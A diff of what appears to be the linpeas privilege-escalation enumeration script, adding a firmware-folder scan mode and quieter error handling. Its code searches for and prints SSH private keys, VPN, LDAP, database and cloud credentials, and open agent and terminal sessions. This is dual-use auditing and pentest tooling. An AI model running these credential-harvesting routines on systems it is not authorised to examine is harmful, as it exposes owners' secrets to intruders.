"s,vnc.*\.ini$,${SED_RED},"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_VNC\" | grep -E \"vnc.*\.txt$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "*vnc*.txt"; fi; fi; printf "%s" "$PSTORAGE_VNC" | grep -E "vnc.*\.txt$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,vnc.*\.txt$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | sed -${E} "s,.*,${SED_RED},g"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_VNC\" | grep -E \"vnc.*\.xml$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "*vnc*.xml"; fi; fi; printf "%s" "$PSTORAGE_VNC" | grep -E "vnc.*\.xml$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,vnc.*\.xml$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | sed -${E} "s,.*,${SED_RED},g"; done; echo ""; fi if [ "$PSTORAGE_OPENVPN" ] || [ "$DEBUG" ]; then print_2title "Analyzing OpenVPN Files (limit 70)" - if ! [ "`echo \"$PSTORAGE_OPENVPN\" | grep -E \"\.ovpn$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "*.ovpn"; fi; fi; printf "%s" "$PSTORAGE_OPENVPN" | grep -E "\.ovpn$" | while read f; do ls -ld "$f" | sed -${E} "s,\.ovpn$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | grep -E "auth-user-pass.+" | sed -${E} "s,auth-user-pass.+,${SED_RED},g"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_OPENVPN\" | grep -E \"\.ovpn$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "*.ovpn"; fi; fi; printf "%s" "$PSTORAGE_OPENVPN" | grep -E "\.ovpn$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,\.ovpn$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | grep -E "auth-user-pass.+" | sed -${E} "s,auth-user-pass.+,${SED_RED},g"; done; echo ""; fi if [ "$PSTORAGE_LDAP" ] || [ "$DEBUG" ]; then print_2title "Analyzing Ldap Files (limit 70)" echo "The password hash is from the {SSHA} to 'structural'" - if ! [ "`echo \"$PSTORAGE_LDAP\" | grep -E \"ldap$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "ldap"; fi; fi; printf "%s" "$PSTORAGE_LDAP" | grep -E "ldap$" | while read f; do ls -ld "$f" | sed -${E} "s,ldap$,${SED_RED},"; find "$f" -name "*.bdb" | while read ff; do ls -ld "$ff" | sed -${E} "s,.bdb,${SED_RED},"; cat "$ff" 2>/dev/null | grep -IEv "^$" | grep -E -i -a -o "description.*" | sort | uniq | sed -${E} "s,administrator|password|ADMINISTRATOR|PASSWORD|Password|Administrator,${SED_RED},g"; done; echo "";done; echo ""; + if ! [ "`echo \"$PSTORAGE_LDAP\" | grep -E \"ldap$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "ldap"; fi; fi; printf "%s" "$PSTORAGE_LDAP" | grep -E "ldap$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,ldap$,${SED_RED},"; find "$f" -name "*.bdb" | while read ff; do ls -ld "$ff" | sed -${E} "s,.bdb,${SED_RED},"; cat "$ff" 2>/dev/null | grep -IEv "^$" | grep -E -i -a -o "description.*" | sort | uniq | sed -${E} "s,administrator|password|ADMINISTRATOR|PASSWORD|Password|Administrator,${SED_RED},g"; done; echo "";done; echo ""; fi @@ -2677,31 +3357,43 @@ fi #-- SI) ssh files print_2title "Searching ssl/ssh files" if [ "$PSTORAGE_CERTSB4" ]; then certsb4_grep=$(grep -L "\"\|'\|(" $PSTORAGE_CERTSB4 2>/dev/null); fi -sshconfig="$(ls /etc/ssh/ssh_config 2>/dev/null)" -hostsdenied="$(ls /etc/hosts.denied 2>/dev/null)" -hostsallow="$(ls /etc/hosts.allow 2>/dev/null)" -writable_agents=$(find $folder_path -type s -name "agent.*" -or -name "*gpg-agent*" '(' '(' -user $USER ')' -or '(' -perm -o=w ')' -or '(' -perm -g=w -and '(' $wgroups ')' ')' ')') +if ! [ "$SEARCH_IN_FOLDER" ]; then + sshconfig="$(ls /etc/ssh/ssh_config 2>/dev/null)" + hostsdenied="$(ls /etc/hosts.denied 2>/dev/null)" + hostsallow="$(ls /etc/hosts.allow 2>/dev/null)" + writable_agents=$(find /tmp /etc /home -type s -name "agent.*" -or -name "*gpg-agent*" '(' '(' -user $USER ')' -or '(' -perm -o=w ')' -or '(' -perm -g=w -and '(' $wgroups ')' ')' ')' 2>/dev/null) +else + sshconfig="$(ls ${ROOT_FOLDER}etc/ssh/ssh_config 2>/dev/null)" + hostsdenied="$(ls ${ROOT_FOLDER}etc/hosts.denied 2>/dev/null)" + hostsallow="$(ls ${ROOT_FOLDER}etc/hosts.allow 2>/dev/null)" + writable_agents=$(find ${ROOT_FOLDER} -type s -name "agent.*" -or -name "*gpg-agent*" '(' '(' -user $USER ')' -or '(' -perm -o=w ')' -or '(' -perm -g=w -and '(' $wgroups ')' ')' ')' 2>/dev/null) +fi if [ "$PSTORAGE_SSH" ] || [ "$DEBUG" ]; then print_2title "Analyzing SSH Files (limit 70)" - if ! [ "`echo \"$PSTORAGE_SSH\" | grep -E \"id_dsa.*$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "id_dsa*"; fi; fi; printf "%s" "$PSTORAGE_SSH" | grep -E "id_dsa.*$" | while read f; do ls -ld "$f" | sed -${E} "s,id_dsa.*$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$"; done; echo ""; - if ! [ "`echo \"$PSTORAGE_SSH\" | grep -E \"id_rsa.*$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "id_rsa*"; fi; fi; printf "%s" "$PSTORAGE_SSH" | grep -E "id_rsa.*$" | while read f; do ls -ld "$f" | sed -${E} "s,id_rsa.*$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$"; done; echo ""; - if ! [ "`echo \"$PSTORAGE_SSH\" | grep -E \"known_hosts$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "known_hosts"; fi; fi; printf "%s" "$PSTORAGE_SSH" | grep -E "known_hosts$" | while read f; do ls -ld "$f" | sed -${E} "s,known_hosts$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$"; done; echo ""; - if ! [ "`echo \"$PSTORAGE_SSH\" | grep -E \"authorized_hosts$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "authorized_hosts"; fi; fi; printf "%s" "$PSTORAGE_SSH" | grep -E "authorized_hosts$" | while read f; do ls -ld "$f" | sed -${E} "s,authorized_hosts$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$"; done; echo ""; - if ! [ "`echo \"$PSTORAGE_SSH\" | grep -E \"authorized_keys$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "authorized_keys"; fi; fi; printf "%s" "$PSTORAGE_SSH" | grep -E "authorized_keys$" | while read f; do ls -ld "$f" | sed -${E} "s,authorized_keys$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | sed -${E} "s,from=[\w\._\-]+,${SED_GOOD},g"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_SSH\" | grep -E \"id_dsa.*$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "id_dsa*"; fi; fi; printf "%s" "$PSTORAGE_SSH" | grep -E "id_dsa.*$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,id_dsa.*$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_SSH\" | grep -E \"id_rsa.*$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "id_rsa*"; fi; fi; printf "%s" "$PSTORAGE_SSH" | grep -E "id_rsa.*$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,id_rsa.*$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_SSH\" | grep -E \"known_hosts$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "known_hosts"; fi; fi; printf "%s" "$PSTORAGE_SSH" | grep -E "known_hosts$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,known_hosts$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_SSH\" | grep -E \"authorized_hosts$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "authorized_hosts"; fi; fi; printf "%s" "$PSTORAGE_SSH" | grep -E "authorized_hosts$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,authorized_hosts$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_SSH\" | grep -E \"authorized_keys$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "authorized_keys"; fi; fi; printf "%s" "$PSTORAGE_SSH" | grep -E "authorized_keys$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,authorized_keys$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | sed -${E} "s,from=[\w\._\-]+,${SED_GOOD},g"; done; echo ""; fi grep "PermitRootLogin \|ChallengeResponseAuthentication \|PasswordAuthentication \|UsePAM \|Port\|PermitEmptyPasswords\|PubkeyAuthentication\|ListenAddress\|ForwardAgent\|AllowAgentForwarding\|AuthorizedKeysFiles" /etc/ssh/sshd_config 2>/dev/null | grep -v "#" | sed -${E} "s,PermitRootLogin.*es|PermitEmptyPasswords.*es|ChallengeResponseAuthentication.*es|FordwardAgent.*es,${SED_RED}," -if [ "$TIMEOUT" ]; then - privatekeyfilesetc=$(timeout 40 grep -rl '\-\-\-\-\-BEGIN .* PRIVATE KEY.*\-\-\-\-\-' /etc 2>/dev/null) - privatekeyfileshome=$(timeout 40 grep -rl '\-\-\-\-\-BEGIN .* PRIVATE KEY.*\-\-\-\-\-' $HOMESEARCH 2>/dev/null) - privatekeyfilesroot=$(timeout 40 grep -rl '\-\-\-\-\-BEGIN .* PRIVATE KEY.*\-\-\-\-\-' /root 2>/dev/null) - privatekeyfilesmnt=$(timeout 40 grep -rl '\-\-\-\-\-BEGIN .* PRIVATE KEY.*\-\-\-\-\-' /mnt 2>/dev/null) +if ! [ "$SEARCH_IN_FOLDER" ]; then + if [ "$TIMEOUT" ]; then + privatekeyfilesetc=$(timeout 40 grep -rl '\-\-\-\-\-BEGIN .* PRIVATE KEY.*\-\-\-\-\-' /etc 2>/dev/null) + privatekeyfileshome=$(timeout 40 grep -rl '\-\-\-\-\-BEGIN .* PRIVATE KEY.*\-\-\-\-\-' $HOMESEARCH 2>/dev/null) + privatekeyfilesroot=$(timeout 40 grep -rl '\-\-\-\-\-BEGIN .* PRIVATE KEY.*\-\-\-\-\-' /root 2>/dev/null) + privatekeyfilesmnt=$(timeout 40 grep -rl '\-\-\-\-\-BEGIN .* PRIVATE KEY.*\-\-\-\-\-' /mnt 2>/dev/null) + else + privatekeyfilesetc=$(grep -rl '\-\-\-\-\-BEGIN .* PRIVATE KEY.*\-\-\-\-\-' /etc 2>/dev/null) #If there is tons of files linpeas gets frozen here without a timeout + privatekeyfileshome=$(grep -rl '\-\-\-\-\-BEGIN .* PRIVATE KEY.*\-\-\-\-\-' $HOME/.ssh 2>/dev/null) + fi else - privatekeyfilesetc=$(grep -rl '\-\-\-\-\-BEGIN .* PRIVATE KEY.*\-\-\-\-\-' /etc 2>/dev/null) #If there is tons of files linpeas gets frozen here without a timeout - privatekeyfileshome=$(grep -rl '\-\-\-\-\-BEGIN .* PRIVATE KEY.*\-\-\-\-\-' $HOME/.ssh 2>/dev/null) + # If $SEARCH_IN_FOLDER lets just search for private keys in the whole firmware + privatekeyfilesetc=$(timeout 120 grep -rl '\-\-\-\-\-BEGIN .* PRIVATE KEY.*\-\-\-\-\-' "$ROOT_FOLDER" 2>/dev/null) fi if [ "$privatekeyfilesetc" ] || [ "$privatekeyfileshome" ] || [ "$privatekeyfilesroot" ] || [ "$privatekeyfilesmnt" ] ; then @@ -2734,7 +3426,7 @@ if ssh-add -l 2>/dev/null | grep -qv 'no identities'; then ssh-add -l echo "" fi -if gpg-connect-agent "keyinfo --list" /bye | grep "D - - 1"; then +if gpg-connect-agent "keyinfo --list" /bye 2>/dev/null | grep "D - - 1"; then print_3title "Listing gpg keys cached in gpg-agent" gpg-connect-agent "keyinfo --list" /bye echo "" @@ -2751,39 +3443,39 @@ fi if [ "$hostsdenied" ]; then print_3title "/etc/hosts.denied file found, read the rules:" printf "$hostsdenied\n" - cat "/etc/hosts.denied" 2>/dev/null | grep -v "#" | grep -Iv "^$" | sed -${E} "s,.*,${SED_GREEN}," + cat " ${ROOT_FOLDER}etc/hosts.denied" 2>/dev/null | grep -v "#" | grep -Iv "^$" | sed -${E} "s,.*,${SED_GREEN}," echo "" fi if [ "$hostsallow" ]; then print_3title "/etc/hosts.allow file found, trying to read the rules:" printf "$hostsallow\n" - cat "/etc/hosts.allow" 2>/dev/null | grep -v "#" | grep -Iv "^$" | sed -${E} "s,.*,${SED_RED}," + cat " ${ROOT_FOLDER}etc/hosts.allow" 2>/dev/null | grep -v "#" | grep -Iv "^$" | sed -${E} "s,.*,${SED_RED}," echo "" fi if [ "$sshconfig" ]; then echo "" echo "Searching inside /etc/ssh/ssh_config for interesting info" - grep -v "^#" /etc/ssh/ssh_config 2>/dev/null | grep -Ev "\W+\#|^#" 2>/dev/null | grep -Iv "^$" | sed -${E} "s,Host|ForwardAgent|User|ProxyCommand,${SED_RED}," + grep -v "^#" ${ROOT_FOLDER}etc/ssh/ssh_config 2>/dev/null | grep -Ev "\W+\#|^#" 2>/dev/null | grep -Iv "^$" | sed -${E} "s,Host|ForwardAgent|User|ProxyCommand,${SED_RED}," fi echo "" if [ "$PSTORAGE_PAM_AUTH" ] || [ "$DEBUG" ]; then print_2title "Analyzing PAM Auth Files (limit 70)" - if ! [ "`echo \"$PSTORAGE_PAM_AUTH\" | grep -E \"pam\.d$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "pam.d"; fi; fi; printf "%s" "$PSTORAGE_PAM_AUTH" | grep -E "pam\.d$" | while read f; do ls -ld "$f" | sed -${E} "s,pam\.d$,${SED_RED},"; find "$f" -name "sshd" | while read ff; do ls -ld "$ff" | sed -${E} "s,sshd,${SED_RED},"; cat "$ff" 2>/dev/null | grep -IEv "^$" | grep -E -i "auth" | grep -Ev "^#|^@" | sed -${E} "s,.*,${SED_RED},g"; done; echo "";done; echo ""; + if ! [ "`echo \"$PSTORAGE_PAM_AUTH\" | grep -E \"pam\.d$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "pam.d"; fi; fi; printf "%s" "$PSTORAGE_PAM_AUTH" | grep -E "pam\.d$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,pam\.d$,${SED_RED},"; find "$f" -name "sshd" | while read ff; do ls -ld "$ff" | sed -${E} "s,sshd,${SED_RED},"; cat "$ff" 2>/dev/null | grep -IEv "^$" | grep -E -i "auth" | grep -Ev "^#|^@" | sed -${E} "s,.*,${SED_RED},g"; done; echo "";done; echo ""; fi #-- SI) Passwords inside pam.d -pamdpass=$(grep -Ri "passwd" /etc/pam.d/ 2>/dev/null | grep -v ":#") +pamdpass=$(grep -Ri "passwd" ${ROOT_FOLDER}etc/pam.d/ 2>/dev/null | grep -v ":#") if [ "$pamdpass" ] || [ "$DEBUG" ]; then print_2title "Passwords inside pam.d" - grep -Ri "passwd" /etc/pam.d/ 2>/dev/null | grep -v ":#" | sed "s,passwd,${SED_RED}," + grep -Ri "passwd" ${ROOT_FOLDER}etc/pam.d/ 2>/dev/null | grep -v ":#" | sed "s,passwd,${SED_RED}," echo "" fi if [ "$PSTORAGE_NFS_EXPORTS" ] || [ "$DEBUG" ]; then print_2title "Analyzing NFS Exports Files (limit 70)" - if ! [ "`echo \"$PSTORAGE_NFS_EXPORTS\" | grep -E \"exports$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "exports"; fi; fi; printf "%s" "$PSTORAGE_NFS_EXPORTS" | grep -E "exports$" | while read f; do ls -ld "$f" | sed -${E} "s,exports$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | grep -Ev "\W+\#|^#" | sed -${E} "s,insecure,${SED_RED},g" | sed -${E} "s,no_root_squash|no_all_squash,${SED_RED_YELLOW},g"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_NFS_EXPORTS\" | grep -E \"exports$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "exports"; fi; fi; printf "%s" "$PSTORAGE_NFS_EXPORTS" | grep -E "exports$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,exports$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | grep -Ev "\W+\#|^#" | sed -${E} "s,insecure,${SED_RED},g" | sed -${E} "s,no_root_squash|no_all_squash,${SED_RED_YELLOW},g"; done; echo ""; fi @@ -2792,7 +3484,7 @@ kadmin_exists="$(command -v kadmin)" klist_exists="$(command -v klist)" if [ "$kadmin_exists" ] || [ "$klist_exists" ] || [ "$PSTORAGE_KERBEROS" ] || [ "$DEBUG" ]; then print_2title "Searching kerberos conf files and tickets" - print_info "http://book.hacktricks.xyz/linux-unix/privilege-escalation/linux-active-directory" + print_info "http://book.hacktricks.xyz/linux-hardening/privilege-escalation/linux-active-directory" if [ "$kadmin_exists" ]; then echo "kadmin was found on $kadmin_exists" | sed "s,$kadmin_exists,${SED_RED},"; fi if [ "$klist_exists" ] && [ -x "$klist_exists" ]; then echo "klist execution"; klist; fi @@ -2843,20 +3535,20 @@ fi if [ "$PSTORAGE_KNOCKD" ] || [ "$DEBUG" ]; then print_2title "Analyzing Knockd Files (limit 70)" - if ! [ "`echo \"$PSTORAGE_KNOCKD\" | grep -E \"knockd.*$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "*knockd*"; fi; fi; printf "%s" "$PSTORAGE_KNOCKD" | grep -E "knockd.*$" | while read f; do ls -ld "$f" | sed -${E} "s,knockd.*$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_KNOCKD\" | grep -E \"knockd.*$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "*knockd*"; fi; fi; printf "%s" "$PSTORAGE_KNOCKD" | grep -E "knockd.*$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,knockd.*$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$"; done; echo ""; fi if [ "$PSTORAGE_KIBANA" ] || [ "$DEBUG" ]; then print_2title "Analyzing Kibana Files (limit 70)" - if ! [ "`echo \"$PSTORAGE_KIBANA\" | grep -E \"kibana\.y.*ml$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "kibana.y*ml"; fi; fi; printf "%s" "$PSTORAGE_KIBANA" | grep -E "kibana\.y.*ml$" | while read f; do ls -ld "$f" | sed -${E} "s,kibana\.y.*ml$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | grep -Ev "\W+\#|^#|^[[:space:]]*$" | sed -${E} "s,username|password|host|port|elasticsearch|ssl,${SED_RED},g"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_KIBANA\" | grep -E \"kibana\.y.*ml$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "kibana.y*ml"; fi; fi; printf "%s" "$PSTORAGE_KIBANA" | grep -E "kibana\.y.*ml$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,kibana\.y.*ml$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | grep -Ev "\W+\#|^#|^[[:space:]]*$" | sed -${E} "s,username|password|host|port|elasticsearch|ssl,${SED_RED},g"; done; echo ""; fi if [ "$PSTORAGE_ELASTICSEARCH" ] || [ "$DEBUG" ]; then print_2title "Analyzing Elasticsearch Files (limit 70)" echo "The version is $(curl -X GET '127.0.0.1:9200' 2>/dev/null | grep number | cut -d ':' -f 2)" - if ! [ "`echo \"$PSTORAGE_ELASTICSEARCH\" | grep -E \"elasticsearch\.y.*ml$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "elasticsearch.y*ml"; fi; fi; printf "%s" "$PSTORAGE_ELASTICSEARCH" | grep -E "elasticsearch\.y.*ml$" | while read f; do ls -ld "$f" | sed -${E} "s,elasticsearch\.y.*ml$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | grep -E "path.data|path.logs|cluster.name|node.name|network.host|discovery.zen.ping.unicast.hosts" | grep -Ev "\W+\#|^#"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_ELASTICSEARCH\" | grep -E \"elasticsearch\.y.*ml$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "elasticsearch.y*ml"; fi; fi; printf "%s" "$PSTORAGE_ELASTICSEARCH" | grep -E "elasticsearch\.y.*ml$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,elasticsearch\.y.*ml$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | grep -E "path.data|path.logs|cluster.name|node.name|network.host|discovery.zen.ping.unicast.hosts" | grep -Ev "\W+\#|^#"; done; echo ""; fi @@ -2895,9 +3587,9 @@ if [ "$adhashes" ] || [ "$DEBUG" ]; then fi #-- SI) Screen sessions -if [ "$screensess" ] || [ "$screensess2" ] || [ "$DEBUG" ]; then +if ([ "$screensess" ] || [ "$screensess2" ] || [ "$DEBUG" ]) && ! [ "$SEARCH_IN_FOLDER" ]; then print_2title "Searching screen sessions" - print_info "https://book.hacktricks.xyz/linux-unix/privilege-escalation#open-shell-sessions" + print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#open-shell-sessions" screensess=$(screen -ls 2>/dev/null) screensess2=$(find /run/screen -type d -path "/run/screen/S-*" 2>/dev/null) @@ -2914,9 +3606,9 @@ fi tmuxdefsess=$(tmux ls 2>/dev/null) tmuxnondefsess=$(ps auxwww | grep "tmux " | grep -v grep) tmuxsess2=$(find /tmp -type d -path "/tmp/tmux-*" 2>/dev/null) -if [ "$tmuxdefsess" ] || [ "$tmuxnondefsess" ] || [ "$tmuxsess2" ] || [ "$DEBUG" ]; then +if ([ "$tmuxdefsess" ] || [ "$tmuxnondefsess" ] || [ "$tmuxsess2" ] || [ "$DEBUG" ]) && ! [ "$SEARCH_IN_FOLDER" ]; then print_2title "Searching tmux sessions"$N - print_info "https://book.hacktricks.xyz/linux-unix/privilege-escalation#open-shell-sessions" + print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#open-shell-sessions" tmux -V printf "$tmuxdefsess\n$tmuxnondefsess\n$tmuxsess2" | sed -${E} "s,.*,${SED_RED}," | sed -${E} "s,no server running on.*,${C}[32m&${C}[0m," @@ -2928,13 +3620,13 @@ fi if [ "$PSTORAGE_COUCHDB" ] || [ "$DEBUG" ]; then print_2title "Analyzing CouchDB Files (limit 70)" - if ! [ "`echo \"$PSTORAGE_COUCHDB\" | grep -E \"couchdb$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "couchdb"; fi; fi; printf "%s" "$PSTORAGE_COUCHDB" | grep -E "couchdb$" | while read f; do ls -ld "$f" | sed -${E} "s,couchdb$,${SED_RED},"; find "$f" -name "local.ini" | while read ff; do ls -ld "$ff" | sed -${E} "s,local.ini,${SED_RED},"; cat "$ff" 2>/dev/null | grep -IEv "^$" | grep -Ev "^;" | sed -${E} "s,admin.*|password.*|cert_file.*|key_file.*|hashed.*|pbkdf2.*,${SED_RED},g"; done; echo "";done; echo ""; + if ! [ "`echo \"$PSTORAGE_COUCHDB\" | grep -E \"couchdb$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "couchdb"; fi; fi; printf "%s" "$PSTORAGE_COUCHDB" | grep -E "couchdb$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,couchdb$,${SED_RED},"; find "$f" -name "local.ini" | while read ff; do ls -ld "$ff" | sed -${E} "s,local.ini,${SED_RED},"; cat "$ff" 2>/dev/null | grep -IEv "^$" | grep -Ev "^;" | sed -${E} "s,admin.*|password.*|cert_file.*|key_file.*|hashed.*|pbkdf2.*,${SED_RED},g"; done; echo "";done; echo ""; fi if [ "$PSTORAGE_REDIS" ] || [ "$DEBUG" ]; then print_2title "Analyzing Redis Files (limit 70)" - if ! [ "`echo \"$PSTORAGE_REDIS\" | grep -E \"redis\.conf$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "redis.conf"; fi; fi; printf "%s" "$PSTORAGE_REDIS" | grep -E "redis\.conf$" | while read f; do ls -ld "$f" | sed -${E} "s,redis\.conf$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | grep -Ev "\W+\#|^#" | sed -${E} "s,masterauth.*|requirepass.*,${SED_RED},g"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_REDIS\" | grep -E \"redis\.conf$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "redis.conf"; fi; fi; printf "%s" "$PSTORAGE_REDIS" | grep -E "redis\.conf$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,redis\.conf$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | grep -Ev "\W+\#|^#" | sed -${E} "s,masterauth.*|requirepass.*,${SED_RED},g"; done; echo ""; fi @@ -2958,89 +3650,94 @@ fi if [ "$PSTORAGE_MOSQUITTO" ] || [ "$DEBUG" ]; then print_2title "Analyzing Mosquitto Files (limit 70)" - if ! [ "`echo \"$PSTORAGE_MOSQUITTO\" | grep -E \"mosquitto\.conf$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "mosquitto.conf"; fi; fi; printf "%s" "$PSTORAGE_MOSQUITTO" | grep -E "mosquitto\.conf$" | while read f; do ls -ld "$f" | sed -${E} "s,mosquitto\.conf$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | grep -Ev "\W+\#|^#" | sed -${E} "s,password_file.*|psk_file.*|allow_anonymous.*true|auth,${SED_RED},g"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_MOSQUITTO\" | grep -E \"mosquitto\.conf$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "mosquitto.conf"; fi; fi; printf "%s" "$PSTORAGE_MOSQUITTO" | grep -E "mosquitto\.conf$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,mosquitto\.conf$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | grep -Ev "\W+\#|^#" | sed -${E} "s,password_file.*|psk_file.*|allow_anonymous.*true|auth,${SED_RED},g"; done; echo ""; fi if [ "$PSTORAGE_NEO4J" ] || [ "$DEBUG" ]; then print_2title "Analyzing Neo4j Files (limit 70)" - if ! [ "`echo \"$PSTORAGE_NEO4J\" | grep -E \"neo4j$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "neo4j"; fi; fi; printf "%s" "$PSTORAGE_NEO4J" | grep -E "neo4j$" | while read f; do ls -ld "$f" | sed -${E} "s,neo4j$,${SED_RED},"; find "$f" -name "auth" | while read ff; do ls -ld "$ff" | sed -${E} "s,auth,${SED_RED},"; cat "$ff" 2>/dev/null | grep -IEv "^$" | sed -${E} "s,.*,${SED_RED},g"; done; echo "";done; echo ""; + if ! [ "`echo \"$PSTORAGE_NEO4J\" | grep -E \"neo4j$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "neo4j"; fi; fi; printf "%s" "$PSTORAGE_NEO4J" | grep -E "neo4j$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,neo4j$,${SED_RED},"; find "$f" -name "auth" | while read ff; do ls -ld "$ff" | sed -${E} "s,auth,${SED_RED},"; cat "$ff" 2>/dev/null | grep -IEv "^$" | sed -${E} "s,.*,${SED_RED},g"; done; echo "";done; echo ""; fi +AWSVAULT="$(command -v aws-vault 2>/dev/null)" +if [ "$AWSVAULT" ] || [ "$DEBUG" ]; then + print_2title "Check aws-vault" + aws-vault list +fi + if [ "$PSTORAGE_CLOUD_CREDENTIALS" ] || [ "$DEBUG" ]; then print_2title "Analyzing Cloud Credentials Files (limit 70)" - if ! [ "`echo \"$PSTORAGE_CLOUD_CREDENTIALS\" | grep -E \"credentials$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "credentials"; fi; fi; printf "%s" "$PSTORAGE_CLOUD_CREDENTIALS" | grep -E "credentials$" | while read f; do ls -ld "$f" | sed -${E} "s,credentials$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | sed -${E} "s,.*,${SED_RED},g"; done; echo ""; - if ! [ "`echo \"$PSTORAGE_CLOUD_CREDENTIALS\" | grep -E \"credentials\.db$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "credentials.db"; fi; fi; printf "%s" "$PSTORAGE_CLOUD_CREDENTIALS" | grep -E "credentials\.db$" | while read f; do ls -ld "$f" | sed -${E} "s,credentials\.db$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | sed -${E} "s,.*,${SED_RED},g"; done; echo ""; - if ! [ "`echo \"$PSTORAGE_CLOUD_CREDENTIALS\" | grep -E \"legacy_credentials\.db$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "legacy_credentials.db"; fi; fi; printf "%s" "$PSTORAGE_CLOUD_CREDENTIALS" | grep -E "legacy_credentials\.db$" | while read f; do ls -ld "$f" | sed -${E} "s,legacy_credentials\.db$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | sed -${E} "s,.*,${SED_RED},g"; done; echo ""; - if ! [ "`echo 